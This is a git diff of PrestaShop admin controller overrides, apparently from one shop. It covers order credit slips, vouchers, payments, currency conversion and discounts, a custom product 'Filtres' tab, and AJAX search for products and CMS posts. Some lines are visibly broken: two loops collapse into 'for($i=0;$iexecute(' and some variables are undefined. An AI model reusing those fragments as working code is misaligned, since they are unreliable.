$order->getUniqReference(); + } + + // Generate credit slip + if (Tools::isSubmit('generateCreditSlip') && !count($this->errors)) + { + if (!OrderSlip::createOrderSlip($order, $full_product_list, $full_quantity_list, Tools::isSubmit('shippingBack'))) + $this->errors[] = Tools::displayError('A credit slip cannot be generated. '); + else + { + Hook::exec('actionOrderSlipAdd', array('order' => $order, 'productList' => $full_product_list, 'qtyList' => $full_quantity_list)); + @Mail::Send( + (int)$order->id_lang, + 'credit_slip', + Mail::l('New credit slip regarding your order', $order->id_lang), + $params, + $customer->email, + $customer->firstname.' '.$customer->lastname, + null, + null, + null, + null, + _PS_MAIL_DIR_, + true, + (int)$order->id_shop + ); + } + } + + // Generate voucher + if (Tools::isSubmit('generateDiscount') && !count($this->errors)) + { + $cartrule = new CartRule(); + $languages = Language::getLanguages($order); + $cartrule->description = sprintf($this->l('Credit card slip for order #%d'), $order->id); + foreach ($languages as $language) + { + // Define a temporary name + $cartrule->name[$language['id_lang']] = 'V0C'.(int)($order->id_customer).'O'.(int)($order->id); + } + // Define a temporary code + $cartrule->code = 'V0C'.(int)($order->id_customer).'O'.(int)($order->id); + + $cartrule->quantity = 1; + $cartrule->quantity_per_user = 1; + // Specific to the customer + $cartrule->id_customer = $order->id_customer; + $now = time(); + $cartrule->date_from = date('Y-m-d H:i:s', $now); + $cartrule->date_to = date('Y-m-d H:i:s', $now + (3600 * 24 * 365.25)); /* 1 year */ + $cartrule->active = 1; + + $products = $order->getProducts(false, $full_product_list, $full_quantity_list); + + $total = 0; + foreach ($products as $product) + $total += $product['unit_price_tax_incl'] * $product['product_quantity']; + + if (Tools::isSubmit('shippingBack')) + $total += $order->total_shipping; + + $cartrule->reduction_amount = $total; + $cartrule->reduction_tax = true; + $cartrule->minimum_amount_currency = $order->id_currency; + $cartrule->reduction_currency = $order->id_currency; + + if (!$cartrule->add()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + // Update the voucher code and name + foreach ($languages as $language) + $cartrule->name[$language['id_lang']] = 'V'.(int)($cartrule->id).'C'.(int)($order->id_customer).'O'.$order->id; + $cartrule->code = 'V'.(int)($cartrule->id).'C'.(int)($order->id_customer).'O'.$order->id; + if (!$cartrule->update()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + $currency = $this->context->currency; + $params['{voucher_amount}'] = Tools::displayPrice($cartrule->reduction_amount, $currency, false); + $params['{voucher_num}'] = $cartrule->code; + @Mail::Send((int)$order->id_lang, 'voucher', sprintf(Mail::l('New voucher regarding your order %s', (int)$order->id_lang), $order->reference), + $params, $customer->email, $customer->firstname.' '.$customer->lastname, null, null, null, + null, _PS_MAIL_DIR_, true, (int)$order->id_shop); + } + } + } + } + else + $this->errors[] = Tools::displayError('No product or quantity has been selected.'); + + // Redirect if no errors + if (!count($this->errors)) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=31&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + elseif (Tools::isSubmit('messageReaded')) + Message::markAsReaded(Tools::getValue('messageReaded'), $this->context->employee->id); + elseif (Tools::isSubmit('submitAddPayment') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $amount = str_replace(',', '.', Tools::getValue('payment_amount')); + $currency = new Currency(Tools::getValue('payment_currency')); + $order_has_invoice = $order->hasInvoice(); + if ($order_has_invoice) + $order_invoice = new OrderInvoice(Tools::getValue('payment_invoice')); + else + $order_invoice = null; + + if (!Validate::isLoadedObject($order)) + $this->errors[] = Tools::displayError('The order cannot be found'); + elseif (!Validate::isNegativePrice($amount)) + $this->errors[] = Tools::displayError('The amount is invalid.'); + elseif (!Validate::isString(Tools::getValue('payment_method'))) + $this->errors[] = Tools::displayError('The selected payment method is invalid.'); + elseif (!Validate::isString(Tools::getValue('payment_transaction_id'))) + $this->errors[] = Tools::displayError('The transaction ID is invalid.'); + elseif (!Validate::isLoadedObject($currency)) + $this->errors[] = Tools::displayError('The selected currency is invalid.'); + elseif ($order_has_invoice && !Validate::isLoadedObject($order_invoice)) + $this->errors[] = Tools::displayError('The invoice is invalid.'); + elseif (!Validate::isDate(Tools::getValue('payment_date'))) + $this->errors[] = Tools::displayError('The date is invalid'); + else + { + if (!$order->addOrderPayment($amount, Tools::getValue('payment_method'), Tools::getValue('payment_transaction_id'), $currency, Tools::getValue('payment_date'), $order_invoice)) + $this->errors[] = Tools::displayError('An error occurred during payment.'); + else + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitEditNote')) + { + $note = Tools::getValue('note'); + $order_invoice = new OrderInvoice((int)Tools::getValue('id_order_invoice')); + if (Validate::isLoadedObject($order_invoice) && Validate::isCleanHtml($note)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_invoice->note = $note; + if ($order_invoice->save()) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order_invoice->id_order.'&vieworder&conf=4&token='.$this->token); + else + $this->errors[] = Tools::displayError('The invoice note was not saved.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else + $this->errors[] = Tools::displayError('The invoice for edit note was unable to load. '); + } + elseif (Tools::isSubmit('submitAddOrder') && ($id_cart = Tools::getValue('id_cart')) && + ($module_name = Tools::getValue('payment_module_name')) && + ($id_order_state = Tools::getValue('id_order_state')) && Validate::isModuleName($module_name)) + { + if ($this->tabAccess['edit'] === '1') + { + $payment_module = Module::getInstanceByName($module_name); + $cart = new Cart((int)$id_cart); + Context::getContext()->currency = new Currency((int)$cart->id_currency); + Context::getContext()->customer = new Customer((int)$cart->id_customer); + $employee = new Employee((int)Context::getContext()->cookie->id_employee); + $payment_module->validateOrder( + (int)$cart->id, (int)$id_order_state, + $cart->getOrderTotal(true, Cart::BOTH), $payment_module->displayName, $this->l('Manual order -- Employee:'). + Tools::safeOutput(substr($employee->firstname, 0, 1).'. '.$employee->lastname), array(), null, false, $cart->secure_key + ); + if ($payment_module->currentOrder) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$payment_module->currentOrder.'&vieworder'.'&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + elseif ((Tools::isSubmit('submitAddressShipping') || Tools::isSubmit('submitAddressInvoice')) && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $address = new Address(Tools::getValue('id_address')); + if (Validate::isLoadedObject($address)) + { + // Update the address on order + if (Tools::isSubmit('submitAddressShipping')) + $order->id_address_delivery = $address->id; + elseif (Tools::isSubmit('submitAddressInvoice')) + $order->id_address_invoice = $address->id; + $order->update(); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + else + $this->errors[] = Tools::displayErrror('This address can\'t be loaded'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitChangeCurrency') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + if (Tools::getValue('new_currency') != $order->id_currency && !$order->valid) + { + $old_currency = new Currency($order->id_currency); + $currency = new Currency(Tools::getValue('new_currency')); + if (!Validate::isLoadedObject($currency)) + throw new PrestaShopException('Can\'t load Currency object'); + + // Update order detail amount + foreach ($order->getOrderDetailList() as $row) + { + $order_detail = new OrderDetail($row['id_order_detail']); + $fields = array( + 'ecotax', + 'product_price', + 'reduction_amount', + 'total_shipping_price_tax_excl', + 'total_shipping_price_tax_incl', + 'total_price_tax_incl', + 'total_price_tax_excl', + 'product_quantity_discount', + 'purchase_supplier_price', + 'reduction_amount', + 'reduction_amount_tax_incl', + 'reduction_amount_tax_excl', + 'unit_price_tax_incl', + 'unit_price_tax_excl', + 'original_product_price' + + ); + foreach ($fields as $field) + $order_detail->{$field} = Tools::convertPriceFull($order_detail->{$field}, $old_currency, $currency); + + $order_detail->update(); + $order_detail->updateTaxAmount($order); + } + + $id_order_carrier = Db::getInstance()->getValue(' + SELECT `id_order_carrier` + FROM `'._DB_PREFIX_.'order_carrier` + WHERE `id_order` = '.(int)$order->id); + if ($id_order_carrier) + { + $order_carrier = new OrderCarrier($id_order_carrier); + $order_carrier->shipping_cost_tax_excl = (float)Tools::convertPriceFull($order_carrier->shipping_cost_tax_excl, $old_currency, $currency); + $order_carrier->shipping_cost_tax_incl = (float)Tools::convertPriceFull($order_carrier->shipping_cost_tax_incl, $old_currency, $currency); + $order_carrier->update(); + } + + // Update order && order_invoice amount + $fields = array( + 'total_discounts', + 'total_discounts_tax_incl', + 'total_discounts_tax_excl', + 'total_discount_tax_excl', + 'total_discount_tax_incl', + 'total_paid', + 'total_paid_tax_incl', + 'total_paid_tax_excl', + 'total_paid_real', + 'total_products', + 'total_products_wt', + 'total_shipping', + 'total_shipping_tax_incl', + 'total_shipping_tax_excl', + 'total_wrapping', + 'total_wrapping_tax_incl', + 'total_wrapping_tax_excl', + ); + + $invoices = $order->getInvoicesCollection(); + if ($invoices) + foreach ($invoices as $invoice) + { + foreach ($fields as $field) + if (isset($invoice->$field)) + $invoice->{$field} = Tools::convertPriceFull($invoice->{$field}, $old_currency, $currency); + $invoice->save(); + } + + foreach ($fields as $field) + if (isset($order->$field)) + $order->{$field} = Tools::convertPriceFull($order->{$field}, $old_currency, $currency); + + // Update currency in order + $order->id_currency = $currency->id; + // Update conversion rate + $order->conversion_rate = (float)$currency->conversion_rate; + $order->update(); + } + else + $this->errors[] = Tools::displayError('You cannot change the currency.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::isSubmit('submitGenerateInvoice') && isset($order)) + { + if (!Configuration::get('PS_INVOICE', null, null, $order->id_shop)) + $this->errors[] = Tools::displayError('Invoice management has been disabled.'); + elseif ($order->hasInvoice()) + $this->errors[] = Tools::displayError('This order already has an invoice.'); + else + { + $order->setInvoice(true); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + } + elseif (Tools::isSubmit('submitDeleteVoucher') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_cart_rule = new OrderCartRule(Tools::getValue('id_order_cart_rule')); + if (Validate::isLoadedObject($order_cart_rule) && $order_cart_rule->id_order == $order->id) + { + if ($order_cart_rule->id_order_invoice) + { + $order_invoice = new OrderInvoice($order_cart_rule->id_order_invoice); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('Can\'t load Order Invoice object'); + + // Update amounts of Order Invoice + $order_invoice->total_discount_tax_excl -= $order_cart_rule->value_tax_excl; + $order_invoice->total_discount_tax_incl -= $order_cart_rule->value; + + $order_invoice->total_paid_tax_excl += $order_cart_rule->value_tax_excl; + $order_invoice->total_paid_tax_incl += $order_cart_rule->value; + + // Update Order Invoice + $order_invoice->update(); + } + + // Update amounts of order + $order->total_discounts -= $order_cart_rule->value; + $order->total_discounts_tax_incl -= $order_cart_rule->value; + $order->total_discounts_tax_excl -= $order_cart_rule->value_tax_excl; + + $order->total_paid += $order_cart_rule->value; + $order->total_paid_tax_incl += $order_cart_rule->value; + $order->total_paid_tax_excl += $order_cart_rule->value_tax_excl; + + // Delete Order Cart Rule and update Order + $order_cart_rule->delete(); + $order->update(); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('You cannot edit this cart rule.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + elseif (Tools::getValue('submitNewVoucher') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + if (!Tools::getValue('discount_name')) + $this->errors[] = Tools::displayError('You must specify a name in order to create a new discount.'); + else + { + if ($order->hasInvoice()) + { + // If the discount is for only one invoice + if (!Tools::isSubmit('discount_all_invoices')) + { + $order_invoice = new OrderInvoice(Tools::getValue('discount_invoice')); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('Can\'t load Order Invoice object'); + } + } + + $cart_rules = array(); + switch (Tools::getValue('discount_type')) + { + // Percent type + case 1: + if (Tools::getValue('discount_value') < 100) + { + if (isset($order_invoice)) + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round($order_invoice->total_paid_tax_incl * Tools::getValue('discount_value') / 100, 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round($order_invoice->total_paid_tax_excl * Tools::getValue('discount_value') / 100, 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + elseif ($order->hasInvoice()) + { + $order_invoices_collection = $order->getInvoicesCollection(); + foreach ($order_invoices_collection as $order_invoice) + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round($order_invoice->total_paid_tax_incl * Tools::getValue('discount_value') / 100, 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round($order_invoice->total_paid_tax_excl * Tools::getValue('discount_value') / 100, 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + else + { + $cart_rules[0]['value_tax_incl'] = Tools::ps_round($order->total_paid_tax_incl * Tools::getValue('discount_value') / 100, 2); + $cart_rules[0]['value_tax_excl'] = Tools::ps_round($order->total_paid_tax_excl * Tools::getValue('discount_value') / 100, 2); + } + } + else + $this->errors[] = Tools::displayError('The discount value is invalid.'); + break; + // Amount type + case 2: + if (isset($order_invoice)) + { + if (Tools::getValue('discount_value') > $order_invoice->total_paid_tax_incl) + $this->errors[] = Tools::displayError('The discount value is greater than the order invoice total.'); + else + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round(Tools::getValue('discount_value'), 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round(Tools::getValue('discount_value') / (1 + ($order->getTaxesAverageUsed() / 100)), 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + elseif ($order->hasInvoice()) + { + $order_invoices_collection = $order->getInvoicesCollection(); + foreach ($order_invoices_collection as $order_invoice) + { + if (Tools::getValue('discount_value') > $order_invoice->total_paid_tax_incl) + $this->errors[] = Tools::displayError('The discount value is greater than the order invoice total.').$order_invoice->getInvoiceNumberFormatted(Context::getContext()->language->id, (int)$order->id_shop).')'; + else + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = Tools::ps_round(Tools::getValue('discount_value'), 2); + $cart_rules[$order_invoice->id]['value_tax_excl'] = Tools::ps_round(Tools::getValue('discount_value') / (1 + ($order->getTaxesAverageUsed() / 100)), 2); + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + } + else + { + if (Tools::getValue('discount_value') > $order->total_paid_tax_incl) + $this->errors[] = Tools::displayError('The discount value is greater than the order total.'); + else + { + $cart_rules[0]['value_tax_incl'] = Tools::ps_round(Tools::getValue('discount_value'), 2); + $cart_rules[0]['value_tax_excl'] = Tools::ps_round(Tools::getValue('discount_value') / (1 + ($order->getTaxesAverageUsed() / 100)), 2); + } + } + break; + // Free shipping type + case 3: + if (isset($order_invoice)) + { + if ($order_invoice->total_shipping_tax_incl > 0) + { + $cart_rules[$order_invoice->id]['value_tax_incl'] = $order_invoice->total_shipping_tax_incl; + $cart_rules[$order_invoice->id]['value_tax_excl'] = $order_invoice->total_shipping_tax_excl; + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + elseif ($order->hasInvoice()) + { + $order_invoices_collection = $order->getInvoicesCollection(); + foreach ($order_invoices_collection as $order_invoice) + { + if ($order_invoice->total_shipping_tax_incl <= 0) + continue; + $cart_rules[$order_invoice->id]['value_tax_incl'] = $order_invoice->total_shipping_tax_incl; + $cart_rules[$order_invoice->id]['value_tax_excl'] = $order_invoice->total_shipping_tax_excl; + + // Update OrderInvoice + $this->applyDiscountOnInvoice($order_invoice, $cart_rules[$order_invoice->id]['value_tax_incl'], $cart_rules[$order_invoice->id]['value_tax_excl']); + } + } + else + { + $cart_rules[0]['value_tax_incl'] = $order->total_shipping_tax_incl; + $cart_rules[0]['value_tax_excl'] = $order->total_shipping_tax_excl; + } + break; + default: + $this->errors[] = Tools::displayError('The discount type is invalid.'); + } + + $res = true; + foreach ($cart_rules as &$cart_rule) + { + $cartRuleObj = new CartRule(); + $cartRuleObj->date_from = date('Y-m-d H:i:s', strtotime('-1 hour', strtotime($order->date_add))); + $cartRuleObj->date_to = date('Y-m-d H:i:s', strtotime('+1 hour')); + $cartRuleObj->name[Configuration::get('PS_LANG_DEFAULT')] = Tools::getValue('discount_name'); + $cartRuleObj->quantity = 0; + $cartRuleObj->quantity_per_user = 1; + if (Tools::getValue('discount_type') == 1) + $cartRuleObj->reduction_percent = Tools::getValue('discount_value'); + elseif (Tools::getValue('discount_type') == 2) + $cartRuleObj->reduction_amount = $cart_rule['value_tax_excl']; + elseif (Tools::getValue('discount_type') == 3) + $cartRuleObj->free_shipping = 1; + $cartRuleObj->active = 0; + if ($res = $cartRuleObj->add()) + $cart_rule['id'] = $cartRuleObj->id; + else + break; + } + + if ($res) + { + foreach ($cart_rules as $id_order_invoice => $cart_rule) + { + // Create OrderCartRule + $order_cart_rule = new OrderCartRule(); + $order_cart_rule->id_order = $order->id; + $order_cart_rule->id_cart_rule = $cart_rule['id']; + $order_cart_rule->id_order_invoice = $id_order_invoice; + $order_cart_rule->name = Tools::getValue('discount_name'); + $order_cart_rule->value = $cart_rule['value_tax_incl']; + $order_cart_rule->value_tax_excl = $cart_rule['value_tax_excl']; + $res &= $order_cart_rule->add(); + + $order->total_discounts += $order_cart_rule->value; + $order->total_discounts_tax_incl += $order_cart_rule->value; + $order->total_discounts_tax_excl += $order_cart_rule->value_tax_excl; + $order->total_paid -= $order_cart_rule->value; + $order->total_paid_tax_incl -= $order_cart_rule->value; + $order->total_paid_tax_excl -= $order_cart_rule->value_tax_excl; + } + + // Update Order + $res &= $order->update(); + } + + if ($res) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + else + $this->errors[] = Tools::displayError('An error occurred during the OrderCartRule creation'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + parent::postProcess(); + } +} \ No newline at end of file diff --git a/override/controllers/admin/AdminProductsController.php b/override/controllers/admin/AdminProductsController.php new file mode 100755 index 0000000..c289a58 --- /dev/null +++ b/override/controllers/admin/AdminProductsController.php @@ -0,0 +1,211 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminProductsController extends AdminProductsControllerCore +{ + // public function processUpdate() + // { + + // parent::processUpdate(); + // } + public function __construct() + { + // $this->table = 'product'; + // $this->className = 'Product'; + // $this->lang = true; + // $this->explicitSelect = true; + // $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + // if (!Tools::getValue('id_product')) + // $this->multishop_context_group = false; + + parent::__construct(); + + // $this->imageType = 'jpg'; + // $this->_defaultOrderBy = 'position'; + // $this->max_file_size = (int)(Configuration::get('PS_LIMIT_UPLOAD_FILE_VALUE') * 1000000); + // $this->max_image_size = (int)Configuration::get('PS_PRODUCT_PICTURE_MAX_SIZE'); + // $this->allow_export = true; + + // @since 1.5 : translations for tabs + $this->available_tabs_lang = array ( + 'Informations' => $this->l('Information'), + 'Pack' => $this->l('Pack'), + 'VirtualProduct' => $this->l('Virtual Product'), + 'Prices' => $this->l('Prices'), + 'Seo' => $this->l('SEO'), + 'Images' => $this->l('Images'), + 'Associations' => $this->l('Associations'), + 'Shipping' => $this->l('Shipping'), + 'Combinations' => $this->l('Combinations'), + 'Features' => $this->l('Features'), + 'Customization' => $this->l('Customization'), + 'Attachments' => $this->l('Attachments'), + 'Quantities' => $this->l('Quantities'), + 'Suppliers' => $this->l('Suppliers'), + 'Warehouses' => $this->l('Warehouses'), + 'Filtres' => $this->l('Filtres'), + ); + + // $this->available_tabs = array('Quantities' => 6, 'Warehouses' => 14); + if ($this->context->shop->getContext() != Shop::CONTEXT_GROUP) + $this->available_tabs = array_merge($this->available_tabs, array( + 'Informations' => 0, + 'Pack' => 7, + 'VirtualProduct' => 8, + 'Prices' => 1, + 'Seo' => 2, + 'Associations' => 3, + 'Images' => 9, + 'Shipping' => 4, + 'Combinations' => 5, + 'Features' => 10, + 'Customization' => 11, + 'Attachments' => 12, + 'Suppliers' => 13, + 'Filtres' => 100, + )); + + // Sort the tabs that need to be preloaded by their priority number + asort($this->available_tabs, SORT_NUMERIC); + + /* Adding tab if modules are hooked */ + $modules_list = Hook::getHookModuleExecList('displayAdminProductsExtra'); + if (is_array($modules_list) && count($modules_list) > 0) + foreach ($modules_list as $m) + { + $this->available_tabs['Module'.ucfirst($m['module'])] = 23; + $this->available_tabs_lang['Module'.ucfirst($m['module'])] = Module::getModuleName($m['module']); + } + if(Tools::getValue('filtre')){ + Db::getInstance()->execute('delete from `'._DB_PREFIX_.'devspefiltreproduit_liaison` where id_product='.(int)Tools::getValue('id_product')); + + $filtre=Tools::getValue('filtre'); + for($i=0;$iexecute('insert into `'._DB_PREFIX_.'devspefiltreproduit_liaison` (id_filtre_item,id_product) values('.(int)$valeur.','.(int)Tools::getValue('id_product').')'); + + } + } + } + + public function initFormFiltres($product) + { + // if(Tools::getValue('filtre')){ + // Db::getInstance()->execute('delete from `'._DB_PREFIX_.'devspefiltreproduit_liaison` where id_product='.(int)Tools::getValue('id_product')); + + // $filtre=Tools::getValue('filtre'); + // for($i=0;$iexecute('insert into `'._DB_PREFIX_.'devspefiltreproduit_liaison` (id_filtre_item,id_product) values('.(int)$valeur.','.(int)Tools::getValue('id_product').')'); + + // } + // } + $data = $this->createTemplate($this->tpl_form); + + $currency = $this->context->currency; + $data->assign('languages', $this->_languages); + $data->assign('currency', $currency); + $this->object = $product; + $this->display = 'edit'; + $data->assign('product_name_redirected', Product::getProductName((int)$product->id_product_redirected, null, (int)$this->context->language->id)); + /* + * Form for adding a virtual product like software, mp3, etc... + */ + $id_lang=(int)$this->context->language->id; + $sql=' + SELECT + th.`id_filtre_theme` as id_theme, + thl.`title` as theme_name, + f.`id_filtre_item` as id_filtre, + fl.`title` as filtre_name + + FROM '._DB_PREFIX_.'devspefiltreproduit_theme th + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_theme_lang thl ON (th.id_filtre_theme = thl.id_filtre_theme) + + + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_item f on(f.id_theme=th.id_filtre_theme) + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_item_lang fl on(f.id_filtre_item=fl.id_filtre_item) + + + WHERE thl.id_lang = '.(int)$id_lang.' + and fl.id_lang = '.(int)$id_lang. + ($active ? ' AND th.`active` = 1' : ' ').' + ORDER BY th.position,f.position + + '; + $productFiltres=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + // print_r($productFiltres); + + + $productFiltresSelected=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT p.`id_filtre_item` + FROM '._DB_PREFIX_.'devspefiltreproduit_liaison p + WHERE id_product='.(int)Tools::getValue('id_product')); + + + + $check_product_association_ajax = false; + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL) + $check_product_association_ajax = true; + + $data->assign('check_product_association_ajax', $check_product_association_ajax); + $data->assign('id_lang', $this->context->language->id); + $data->assign('productFiltresSelected', $productFiltresSelected); + $data->assign('productFiltres', $productFiltres); + $data->assign('token', $this->token); + $data->assign('currency', $currency); + $data->assign($this->tpl_form_vars); + $data->assign('link', $this->context->link); + + $this->tpl_form_vars['product'] = $product; + $this->tpl_form_vars['custom_form'] = $data->fetch(); + } + + + public function ajaxProcessUpdateProductImageActive() + { + $return = array('hasError' => false); + + $id_image = Tools::getValue('id_image'); + $id_product = Tools::getValue('id_product'); + $active = Tools::getValue('active'); + + $sql = 'UPDATE `'._DB_PREFIX_.'image` SET active = '.(int) $active.' WHERE `id_image` = '.(int)$id_image; + $success = Db::getInstance(_PS_USE_SQL_SLAVE_)->execute($sql); + + if ($success === false) { + $return['hasError'] = true; + $return['error'] = $this->l('Something went wrong'); + } else { + $return['confirmations'] = $this->l('Image saved'); + } + + die(Tools::jsonEncode($return)); + + } + +} diff --git a/override/controllers/admin/AdminSearchController.php b/override/controllers/admin/AdminSearchController.php new file mode 100755 index 0000000..23705db --- /dev/null +++ b/override/controllers/admin/AdminSearchController.php @@ -0,0 +1,109 @@ +executeS(' + SELECT p.id_product as id, pl.name as content + FROM '._DB_PREFIX_.'product p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product` '.Shop::addSqlRestrictionOnLang('pl').') + WHERE 1 + '.( Tools::getValue('q') != '' ? ' AND pl.name LIKE "%'.pSQL(Tools::getValue('q')).'%"' : '' ).' + GROUP BY p.id_product + ORDER BY pl.name ASC + LIMIT 0,40 + '); + + die(json_encode(array('results' => $res))); + } + + public function displayAjaxGetRelationPosts() + { + $res = Db::getInstance()->executeS(' + SELECT p.id_product as id, pl.name as content + FROM '._DB_PREFIX_.'product p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product` '.Shop::addSqlRestrictionOnLang('pl').') + WHERE 1 + '.( Tools::getValue('q') != '' ? ' AND pl.name LIKE "%'.pSQL(Tools::getValue('q')).'%"' : '' ).' + GROUP BY p.id_product + ORDER BY pl.name ASC + LIMIT 0,40 + '); + + die(json_encode(array('results' => $res))); + } + + public function displayAjaxgetRelationPostsCms() + { + $id_lang = Context::getContext()->language->id; + $sql = ' + SELECT c.id_post as id, lc.title as content + FROM `'._DB_PREFIX_.'cmsps_posts` c + LEFT JOIN `'._DB_PREFIX_.'cmsps_posts_lang` lc + ON c.`id_post` = lc.`id_post` + AND lc.id_lang = '.$id_lang.' + WHERE 1 + '.( Tools::getValue('q') != '' ? ' AND lc.title LIKE "%'.pSQL(Tools::getValue('q')).'%"' : '' ).' + GROUP BY c.id_post'; + + if ($id_shop) { + $sql.= ' AND lc.`id_shop` = '.(int)$id_shop; + } + + $res = Db::getInstance()->executeS($sql); + + die(json_encode(array('results' => $res))); + } + + public function displayAjaxgetRelationPostsEdito() + { + $id_lang = Context::getContext()->language->id; + $sql = ' + SELECT c.id_edito as id, lc.title as content + FROM `'._DB_PREFIX_.'cmsps_editos` c + LEFT JOIN `'._DB_PREFIX_.'cmsps_editos_lang` lc + ON c.`id_edito` = lc.`id_edito` + AND lc.id_lang = '.$id_lang.' + WHERE 1 + '.( Tools::getValue('q') != '' ? ' AND lc.title LIKE "%'.pSQL(Tools::getValue('q')).'%"' : '' ).' + GROUP BY c.id_edito'; + + if ($id_shop) { + $sql.= ' AND lc.`id_shop` = '.(int)$id_shop; + } + + $res = Db::getInstance()->executeS($sql); + + die(json_encode(array('results' => $res))); + } + + public function displayAjaxgetRelationCategoryCms($search = '', $id_lang = null, $id_shop = null) + { + $id_lang = Context::getContext()->language->id; + $sql = ' + SELECT c.id_category as id, lc.title as content + FROM `'._DB_PREFIX_.'cmsps_categories` c + LEFT JOIN `'._DB_PREFIX_.'cmsps_categories_lang` lc + ON c.`id_category` = lc.`id_category` + AND lc.id_lang = '.$id_lang.' + LEFT JOIN `'._DB_PREFIX_.'cmsps_categories_shop` ls + ON c.`id_category` = ls.`id_category` + WHERE 1 + '.( Tools::getValue('q') != '' ? ' AND lc.title LIKE "%'.pSQL(Tools::getValue('q')).'%"' : '' ).' + GROUP BY c.id_category'; + + if ($id_shop) { + $sql.= ' AND ls.`id_shop` = '.(int)$id_shop; + } + + $res = Db::getInstance()->executeS($sql); + + die(json_encode(array('results' => $res))); + } +} \ No newline at end of file diff --git a/override/controllers/admin/index.php b/override/controllers/admin/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/controllers/admin/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/controllers/admin/templates/cart_rules/form.js b/override/controllers/admin/templates/cart_rules/form.js new file mode 100755 index 0000000..82cc6c8 --- /dev/null +++ b/override/controllers/admin/templates/cart_rules/form.js @@ -0,0 +1,403 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer 